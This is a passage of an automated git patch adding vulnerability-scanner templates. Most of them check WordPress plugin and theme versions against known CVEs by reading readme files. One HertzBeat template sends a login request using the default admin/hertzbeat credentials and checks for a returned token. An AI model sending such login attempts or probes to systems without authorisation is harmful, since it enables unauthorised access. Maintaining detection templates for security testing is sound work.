From 52b8e5a9080cd7c2cc742e1cd53f983c1cc02598 Mon Sep 17 00:00:00 2001 From: GitHub Action Date: Sun, 1 Sep 2024 12:36:32 +0000 Subject: [PATCH] 20240901 --- date.txt | 2 +- poc.txt | 15 ++++ poc/auth/default-cred-hertzbeat.yaml | 33 ++++++++ poc/cve/CVE-2022-4100.yaml | 59 +++++++++++++ poc/cve/CVE-2022-4536.yaml | 59 +++++++++++++ poc/cve/CVE-2022-4539.yaml | 59 +++++++++++++ poc/cve/CVE-2024-3886.yaml | 59 +++++++++++++ ...5053-efd2b0e65d76d17f35c9856f865d744c.yaml | 59 +++++++++++++ poc/cve/CVE-2024-5212.yaml | 59 +++++++++++++ poc/cve/CVE-2024-7435.yaml | 59 +++++++++++++ poc/cve/CVE-2024-7717.yaml | 59 +++++++++++++ poc/cve/CVE-2024-8108.yaml | 59 +++++++++++++ poc/cve/CVE-2024-8276.yaml | 59 +++++++++++++ poc/cve/cve-2008-5587.yaml | 19 ++--- poc/cve/cve-2016-6210.yaml | 8 +- poc/cve/cve-2018-15535.yaml | 21 ++--- poc/cve/cve-2020-15227.yaml | 36 +++++--- poc/default/default-cred-hertzbeat.yaml | 33 ++++++++ poc/http/cl-te-http-smuggling.yaml | 72 ++++++++-------- .../Hikvision_iVMS-8700_Fileupload_Files.yaml | 42 ++++++---- ...Hikvision_iVMS-8700_Fileupload_report.yaml | 47 ++++------- .../Hikvision_iVMS-8700_upload_action.yaml | 40 ++++----- poc/other/Ruijie_EXCU_SHELL.yaml | 30 +++---- poc/other/attire.yaml | 59 +++++++++++++ ...form-026589d017c577988978620b6f7c244f.yaml | 59 +++++++++++++ .../Hikvision_applyCT_RCE.yaml | 45 +++------- .../spring-functions-rce.yaml | 70 ++++++++-------- poc/upload/Dahua_Video_FileUpload.yaml | 42 ++++++---- .../Hikvision_iVMS-8700_Fileupload_Files.yaml | 42 ++++++---- ...Hikvision_iVMS-8700_Fileupload_report.yaml | 47 ++++------- .../Hikvision_iVMS-8700_upload_action.yaml | 40 ++++----- .../Nsfocus_NF_Firewall_FileUpload.yaml | 84 +++++++++++-------- ...ecology_E-Office_Uploadify_FileUpload.yaml | 51 +++++------ poc/upload/ecology_E-Office_upload.yaml | 49 +++-------- poc/wordpress/wp-events-manager.yaml | 59 +++++++++++++ 35 files changed, 1223 insertions(+), 412 deletions(-) create mode 100644 poc/auth/default-cred-hertzbeat.yaml create mode 100644 poc/cve/CVE-2022-4100.yaml create mode 100644 poc/cve/CVE-2022-4536.yaml create mode 100644 poc/cve/CVE-2022-4539.yaml create mode 100644 poc/cve/CVE-2024-3886.yaml create mode 100644 poc/cve/CVE-2024-5053-efd2b0e65d76d17f35c9856f865d744c.yaml create mode 100644 poc/cve/CVE-2024-5212.yaml create mode 100644 poc/cve/CVE-2024-7435.yaml create mode 100644 poc/cve/CVE-2024-7717.yaml create mode 100644 poc/cve/CVE-2024-8108.yaml create mode 100644 poc/cve/CVE-2024-8276.yaml create mode 100644 poc/default/default-cred-hertzbeat.yaml create mode 100644 poc/other/attire.yaml create mode 100644 poc/other/fluentform-026589d017c577988978620b6f7c244f.yaml create mode 100644 poc/wordpress/wp-events-manager.yaml diff --git a/date.txt b/date.txt index 7036fab477..42eedaf32c 100644 --- a/date.txt +++ b/date.txt @@ -1 +1 @@ -20240831 +20240901 diff --git a/poc.txt b/poc.txt index 686feab606..9a8a68cc29 100644 --- a/poc.txt +++ b/poc.txt @@ -2600,6 +2600,7 @@ ./poc/auth/dbeaver-credentials-6781.yaml ./poc/auth/dbeaver-credentials-6782.yaml ./poc/auth/dbeaver-credentials.yaml +./poc/auth/default-cred-hertzbeat.yaml ./poc/auth/dell-emc-ecom-default-credentials-6917.yaml ./poc/auth/dell-emc-ecom-default-credentials.yaml ./poc/auth/dell-idrac-default-login-6942.yaml @@ -21643,6 +21644,7 @@ ./poc/cve/CVE-2022-4099-efabe65e0636127b900f654341e2d21b.yaml ./poc/cve/CVE-2022-4099.yaml ./poc/cve/CVE-2022-4100-6846e3140a5dc10367fd9a3bbcde3cfd.yaml +./poc/cve/CVE-2022-4100.yaml ./poc/cve/CVE-2022-4101-ff9c428babf09501938ec8b47a7ff0b5.yaml ./poc/cve/CVE-2022-4101.yaml ./poc/cve/CVE-2022-4102-211a125e03141593ca6a2a03eab40ec0.yaml @@ -22365,6 +22367,7 @@ ./poc/cve/CVE-2022-45359-b36586431dff2aad1fae7b081e9eb505.yaml ./poc/cve/CVE-2022-45359.yaml ./poc/cve/CVE-2022-4536-cbca2c22fe44b388466f971246767370.yaml +./poc/cve/CVE-2022-4536.yaml ./poc/cve/CVE-2022-45360-207ef17540c22dd0793408d606b91bda.yaml ./poc/cve/CVE-2022-45360.yaml ./poc/cve/CVE-2022-45361-aa79324e8a1a2b2db7d009a7aa76d972.yaml @@ -22404,6 +22407,7 @@ ./poc/cve/CVE-2022-45377-f99be6f5db095fa34ac8836d9c3bf756.yaml ./poc/cve/CVE-2022-45377.yaml ./poc/cve/CVE-2022-4539-7a30287ecd3463157871780d6cb74779.yaml +./poc/cve/CVE-2022-4539.yaml ./poc/cve/CVE-2022-4542-f62d4c5bcf581eb4208970f7bf92c622.yaml ./poc/cve/CVE-2022-4542.yaml ./poc/cve/CVE-2022-4544-4a43b5c1e9b5ac07f83a1ad6288e2487.yaml @@ -39501,6 +39505,7 @@ ./poc/cve/CVE-2024-3885-9e0a7124350833ada45c8c2089abea17.yaml ./poc/cve/CVE-2024-3885.yaml ./poc/cve/CVE-2024-3886-5b264146b1ead99350dd9d50b9b165a5.yaml +./poc/cve/CVE-2024-3886.yaml ./poc/cve/CVE-2024-3887-c69a35937d64f9aabf71399960d846ed.yaml ./poc/cve/CVE-2024-3887.yaml ./poc/cve/CVE-2024-3888-73a7dff9e7fc032d9c7b3504d9e32105.yaml @@ -40923,6 +40928,7 @@ ./poc/cve/CVE-2024-5039.yaml ./poc/cve/CVE-2024-5041-683fbe7656aac22ccbf1456af0532a73.yaml ./poc/cve/CVE-2024-5041.yaml +./poc/cve/CVE-2024-5053-efd2b0e65d76d17f35c9856f865d744c.yaml ./poc/cve/CVE-2024-5057-b5cd1f63e71feb762d09590f74da1942.yaml ./poc/cve/CVE-2024-5057.yaml ./poc/cve/CVE-2024-5058-63a03ea4af4d1f6d04449e3cd1d991f1.yaml @@ -41022,6 +41028,7 @@ ./poc/cve/CVE-2024-5207-dfe92838983c441ca6954031b5866f4e.yaml ./poc/cve/CVE-2024-5207.yaml ./poc/cve/CVE-2024-5212-26e8ea237e5eb184a7a3f6926818b07b.yaml +./poc/cve/CVE-2024-5212.yaml ./poc/cve/CVE-2024-5215-0170d5acc9b537b31bb3fad32634325d.yaml ./poc/cve/CVE-2024-5215.yaml ./poc/cve/CVE-2024-5217.yaml @@ -42166,6 +42173,7 @@ ./poc/cve/CVE-2024-7422-687a511b4014fc6e48564ef68ecc160f.yaml ./poc/cve/CVE-2024-7422.yaml ./poc/cve/CVE-2024-7435-56bbd99bfe68d581fd709483401a1c1a.yaml +./poc/cve/CVE-2024-7435.yaml ./poc/cve/CVE-2024-7447-616934177af234fd0293527159d2650e.yaml ./poc/cve/CVE-2024-7447.yaml ./poc/cve/CVE-2024-7484-5be14b55ae30eebe36f1e5fcad1d160a.yaml @@ -42242,6 +42250,7 @@ ./poc/cve/CVE-2024-7703-7d232ae776193850ef9d74eec7d98698.yaml ./poc/cve/CVE-2024-7703.yaml ./poc/cve/CVE-2024-7717-8b2d72f894c49fa210faf06966bb467e.yaml +./poc/cve/CVE-2024-7717.yaml ./poc/cve/CVE-2024-7775-cb89a9bf3c0d813debb09dc21c3f085f.yaml ./poc/cve/CVE-2024-7775.yaml ./poc/cve/CVE-2024-7777-e2bdcc8b58b83d53647a50d88143707d.yaml @@ -42315,6 +42324,7 @@ ./poc/cve/CVE-2024-8091-2a76422fe65a9439ffb66d6cccbb9f37.yaml ./poc/cve/CVE-2024-8091.yaml ./poc/cve/CVE-2024-8108-388981d89511f13ba76287252ce2c890.yaml +./poc/cve/CVE-2024-8108.yaml ./poc/cve/CVE-2024-8120-3613ebb9d30f84ec400bcf99e23d31d1.yaml ./poc/cve/CVE-2024-8120.yaml ./poc/cve/CVE-2024-8195-55ed6b4889c7dbecb6bd9deee053ca6e.yaml @@ -42330,6 +42340,7 @@ ./poc/cve/CVE-2024-8274-bda8d98f83bd3baa9ee6eb35650a9ef1.yaml ./poc/cve/CVE-2024-8274.yaml ./poc/cve/CVE-2024-8276-abcb50055a0fdc77a95290d651b9dbcc.yaml +./poc/cve/CVE-2024-8276.yaml ./poc/cve/CVE-2024-8319-f52695adcae621062e419e0168d0ec9c.yaml ./poc/cve/CVE-2024-8319.yaml ./poc/cve/CVE_2023_49442.yaml @@ -50308,6 +50319,7 @@ ./poc/default/default-config-6835.yaml ./poc/default/default-config-6836.yaml ./poc/default/default-config.yaml +./poc/default/default-cred-hertzbeat.yaml ./poc/default/default-detect-generic-6837.yaml ./poc/default/default-detect-generic-6838.yaml ./poc/default/default-detect-generic-6839.yaml @@ -64212,6 +64224,7 @@ ./poc/other/attire-018e03e3d84deb0b9ea4b368a9e735bb.yaml ./poc/other/attire-blocks-4d0bda665c71d62ec3979730095585b3.yaml ./poc/other/attire-blocks.yaml +./poc/other/attire.yaml ./poc/other/attorney-75ae42f95c5029a5c34276ce81634c4d.yaml ./poc/other/attorney-9c2d3a40daf25f855f3ce9f2c18eba21.yaml ./poc/other/attorney.yaml @@ -73143,6 +73156,7 @@ ./poc/other/fluent-security-2950b8c12fea2a10540f20704f5aa9d1.yaml ./poc/other/fluent-security.yaml ./poc/other/fluent-support.yaml +./poc/other/fluentform-026589d017c577988978620b6f7c244f.yaml ./poc/other/fluentform-1a2efa41a2d05e264321477edc4bb700.yaml ./poc/other/fluentform-359dafd9ea2acf47f5a3f1c1b3277d92.yaml ./poc/other/fluentform-42675b86d66431173f7276d369b78de4.yaml @@ -114674,6 +114688,7 @@ ./poc/wordpress/wp-events-939c8e41990e721256330f6828258871.yaml ./poc/wordpress/wp-events-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/wordpress/wp-events-manager-29722e1d187e63b6b325ae129c9c70d3.yaml +./poc/wordpress/wp-events-manager.yaml ./poc/wordpress/wp-events-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/wordpress/wp-events-plugin.yaml ./poc/wordpress/wp-events.yaml diff --git a/poc/auth/default-cred-hertzbeat.yaml b/poc/auth/default-cred-hertzbeat.yaml new file mode 100644 index 0000000000..c332a19d4d --- /dev/null +++ b/poc/auth/default-cred-hertzbeat.yaml @@ -0,0 +1,33 @@ +id: apache-hertzbeat-default-login + +info: + name: Apache HertzBeat Default Credentials + author: securitytaters + severity: high + description: Apache HertzBeat enables default admin credentials. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations. + reference: + - https://github.com/apache/hertzbeat?tab=readme-ov-file#1install-quickly-via-docker + tags: hertzbeat,default-login + +variables: + username: admin + password: hertzbeat + +http: + - raw: + - |- + POST /api/account/auth/form HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"type":0,"identifier":"{{username}}","credential":"{{password}}"} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"token":"eyJ' + - type: status + status: + - 200 diff --git a/poc/cve/CVE-2022-4100.yaml b/poc/cve/CVE-2022-4100.yaml new file mode 100644 index 0000000000..694c56c6e8 --- /dev/null +++ b/poc/cve/CVE-2022-4100.yaml @@ -0,0 +1,59 @@ +id: CVE-2022-4100 + +info: + name: > + WP Cerber Security <= 9.4 - IP Protection Bypass + author: topscoder + severity: medium + description: > + The WP Cerber Security plugin for WordPress is vulnerable to IP Protection bypass in versions up to, and including 9.4 due to the plugin improperly checking for a visitor's IP address. This makes it possible for an attacker whose IP address has been blocked to bypass this control by setting the X-Forwarded-For: HTTP header to an IP Address that hasn't been blocked. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/03ccd474-42f4-4cbb-823e-93fe4db1bf80?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N + cvss-score: 5.3 + cve-id: CVE-2022-4100 + metadata: + fofa-query: "wp-content/plugins/wp-cerber/" + google-query: inurl:"/wp-content/plugins/wp-cerber/" + shodan-query: 'vuln:CVE-2022-4100' + tags: cve,wordpress,wp-plugin,wp-cerber,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-cerber/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-cerber" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 9.4') \ No newline at end of file diff --git a/poc/cve/CVE-2022-4536.yaml b/poc/cve/CVE-2022-4536.yaml new file mode 100644 index 0000000000..8115625b5d --- /dev/null +++ b/poc/cve/CVE-2022-4536.yaml @@ -0,0 +1,59 @@ +id: CVE-2022-4536 + +info: + name: > + IP Vault – WP Firewall <= 1.1 - IP Address Spoofing to Protection Mechanism Bypass + author: topscoder + severity: medium + description: > + The IP Vault – WP Firewall plugin for WordPress is vulnerable to IP Address Spoofing in versions up to, and including, 1.1. This is due to insufficient restrictions on where the IP Address information is being retrieved for request logging and login restrictions. Attackers can supply the X-Forwarded-For header with with a different IP Address that will be logged and can be used to bypass settings that may have blocked out an IP address or country from logging in. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/66e89753-f83e-4e60-b165-6d3d101d6c59?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N + cvss-score: 5.3 + cve-id: CVE-2022-4536 + metadata: + fofa-query: "wp-content/plugins/ip-vault-wp-firewall/" + google-query: inurl:"/wp-content/plugins/ip-vault-wp-firewall/" + shodan-query: 'vuln:CVE-2022-4536' + tags: cve,wordpress,wp-plugin,ip-vault-wp-firewall,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/ip-vault-wp-firewall/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "ip-vault-wp-firewall" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.1') \ No newline at end of file diff --git a/poc/cve/CVE-2022-4539.yaml b/poc/cve/CVE-2022-4539.yaml new file mode 100644 index 0000000000..176a980d1b --- /dev/null +++ b/poc/cve/CVE-2022-4539.yaml @@ -0,0 +1,59 @@ +id: CVE-2022-4539 + +info: + name: > + Web Application Firewall <= 2.1.2 - IP Address Spoofing to Protection Mechanism Bypass + author: topscoder + severity: medium + description: > + The Web Application Firewall plugin for WordPress is vulnerable to IP Address Spoofing in versions up to, and including, 2.1.2. This is due to insufficient restrictions on where the IP Address information is being retrieved for request logging and login restrictions. Attackers can supply the X-Forwarded-For header with with a different IP Address that will be logged and can be used to bypass settings that may have blocked out an IP address or country from logging in. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/0e99531c-8742-4f91-8525-65bb3cb06644?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N + cvss-score: 5.3 + cve-id: CVE-2022-4539 + metadata: + fofa-query: "wp-content/plugins/web-application-firewall/" + google-query: inurl:"/wp-content/plugins/web-application-firewall/" + shodan-query: 'vuln:CVE-2022-4539' + tags: cve,wordpress,wp-plugin,web-application-firewall,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/web-application-firewall/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "web-application-firewall" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.1.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-3886.yaml b/poc/cve/CVE-2024-3886.yaml new file mode 100644 index 0000000000..f819944536 --- /dev/null +++ b/poc/cve/CVE-2024-3886.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-3886 + +info: + name: > + tagDiv Composer <= 5.0 - Reflected Cross-Site Scripting via envato_code[] + author: topscoder + severity: medium + description: > + The tagDiv Composer plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘envato_code[]’ parameter in all versions up to, and including, 5.0 due to insufficient input sanitization and output escaping within the on_ajax_check_envato_code function. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/ed9db9c1-c6b5-459e-9820-ec4ee47b244e?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2024-3886 + metadata: + fofa-query: "wp-content/plugins/td-composer/" + google-query: inurl:"/wp-content/plugins/td-composer/" + shodan-query: 'vuln:CVE-2024-3886' + tags: cve,wordpress,wp-plugin,td-composer,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/td-composer/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "td-composer" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 5.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5053-efd2b0e65d76d17f35c9856f865d744c.yaml b/poc/cve/CVE-2024-5053-efd2b0e65d76d17f35c9856f865d744c.yaml new file mode 100644 index 0000000000..e37b8d91ae --- /dev/null +++ b/poc/cve/CVE-2024-5053-efd2b0e65d76d17f35c9856f865d744c.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5053-efd2b0e65d76d17f35c9856f865d744c + +info: + name: > + Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder <= 5.1.18 - Missing Authorization to Authenticated (Subscriber+) Mailchimp Integration Modification + author: topscoder + severity: low + description: > + The Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder plugin for WordPress is vulnerable to unauthorized Malichimp API key update due to an insufficient capability check on the verifyRequest function in all versions up to, and including, 5.1.18. This makes it possible for Form Managers with a Subscriber-level access and above to modify the Mailchimp API key used for integration. At the same time, missing Mailchimp API key validation allows the redirect of the integration requests to the attacker-controlled server. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/8242e0f0-b9c5-46fe-b691-3275cd0f9a43?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N + cvss-score: 4.2 + cve-id: CVE-2024-5053 + metadata: + fofa-query: "wp-content/plugins/fluentform/" + google-query: inurl:"/wp-content/plugins/fluentform/" + shodan-query: 'vuln:CVE-2024-5053' + tags: cve,wordpress,wp-plugin,fluentform,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/fluentform/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "fluentform" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 5.1.18') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5212.yaml b/poc/cve/CVE-2024-5212.yaml new file mode 100644 index 0000000000..5e3a0e5e7b --- /dev/null +++ b/poc/cve/CVE-2024-5212.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5212 + +info: + name: > + tagDiv Composer <= 5.0 - Reflected Cross-Site Scripting via envato_code[] + author: topscoder + severity: medium + description: > + The tagDiv Composer plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘envato_code[]’ parameter in all versions up to, and including, 5.0 due to insufficient input sanitization and output escaping within the on_ajax_register_forum_user function. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/db95415a-5354-498b-8368-58c47d9948de?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2024-5212 + metadata: + fofa-query: "wp-content/plugins/td-composer/" + google-query: inurl:"/wp-content/plugins/td-composer/" + shodan-query: 'vuln:CVE-2024-5212' + tags: cve,wordpress,wp-plugin,td-composer,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/td-composer/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "td-composer" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 5.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-7435.yaml b/poc/cve/CVE-2024-7435.yaml new file mode 100644 index 0000000000..f94424cd5d --- /dev/null +++ b/poc/cve/CVE-2024-7435.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-7435 + +info: + name: > + Attire <= 2.0.6 - Authenticated (Contributor+) PHP Object Injection + author: topscoder + severity: low + description: > + The Attire theme for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.0.6 via deserialization of untrusted input. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/f21cbe18-77e1-4a9a-96a0-74edaef0db3e?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2024-7435 + metadata: + fofa-query: "wp-content/themes/attire/" + google-query: inurl:"/wp-content/themes/attire/" + shodan-query: 'vuln:CVE-2024-7435' + tags: cve,wordpress,wp-theme,attire,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/themes/attire/style.css" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Version: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Version: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "attire" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.0.6') \ No newline at end of file diff --git a/poc/cve/CVE-2024-7717.yaml b/poc/cve/CVE-2024-7717.yaml new file mode 100644 index 0000000000..1d2a396e1c --- /dev/null +++ b/poc/cve/CVE-2024-7717.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-7717 + +info: + name: > + WP Events Manager <= 2.1.11 - Authenticated (Subscriber+) Time-Based SQL Injection + author: topscoder + severity: low + description: > + The WP Events Manager plugin for WordPress is vulnerable to time-based SQL Injection via the ‘order’ parameter in all versions up to, and including, 2.1.11 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/88dc08ff-3966-4606-855c-57c25552599e?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2024-7717 + metadata: + fofa-query: "wp-content/plugins/wp-events-manager/" + google-query: inurl:"/wp-content/plugins/wp-events-manager/" + shodan-query: 'vuln:CVE-2024-7717' + tags: cve,wordpress,wp-plugin,wp-events-manager,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-events-manager/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-events-manager" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.1.11') \ No newline at end of file diff --git a/poc/cve/CVE-2024-8108.yaml b/poc/cve/CVE-2024-8108.yaml new file mode 100644 index 0000000000..80547d4de2 --- /dev/null +++ b/poc/cve/CVE-2024-8108.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-8108 + +info: + name: > + Share This Image <= 2.01 - Authenticated (Contributor+) Stored Cross-Site Scripting via alignment Parameter + author: topscoder + severity: low + description: > + The Share This Image plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'alignment' parameter in all versions up to, and including, 2.01 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/5cb5368f-99b1-43e3-a2e4-67e90c8edfcf?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-8108 + metadata: + fofa-query: "wp-content/plugins/share-this-image/" + google-query: inurl:"/wp-content/plugins/share-this-image/" + shodan-query: 'vuln:CVE-2024-8108' + tags: cve,wordpress,wp-plugin,share-this-image,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/share-this-image/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "share-this-image" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.01') \ No newline at end of file diff --git a/poc/cve/CVE-2024-8276.yaml b/poc/cve/CVE-2024-8276.yaml new file mode 100644 index 0000000000..80bc70f361 --- /dev/null +++ b/poc/cve/CVE-2024-8276.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-8276 + +info: + name: > + WPZOOM Portfolio Lite – Filterable Portfolio Plugin <= 1.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via align Attribute + author: topscoder + severity: low + description: > + The WPZOOM Portfolio Lite – Filterable Portfolio Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘align’ attribute within the 'wp:wpzoom-blocks' Gutenberg block in all versions up to, and including, 1.4.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/2e7d5503-0a6e-4611-bb7c-b2871be828be?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-8276 + metadata: + fofa-query: "wp-content/plugins/wpzoom-portfolio/" + google-query: inurl:"/wp-content/plugins/wpzoom-portfolio/" + shodan-query: 'vuln:CVE-2024-8276' + tags: cve,wordpress,wp-plugin,wpzoom-portfolio,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wpzoom-portfolio/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wpzoom-portfolio" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.4.4') \ No newline at end of file diff --git a/poc/cve/cve-2008-5587.yaml b/poc/cve/cve-2008-5587.yaml index fda684a006..e714f96cca 100644 --- a/poc/cve/cve-2008-5587.yaml +++ b/poc/cve/cve-2008-5587.yaml @@ -1,28 +1,27 @@ id: CVE-2008-5587 + info: name: phpPgAdmin 4.2.1 - '_language' Local File Inclusion author: 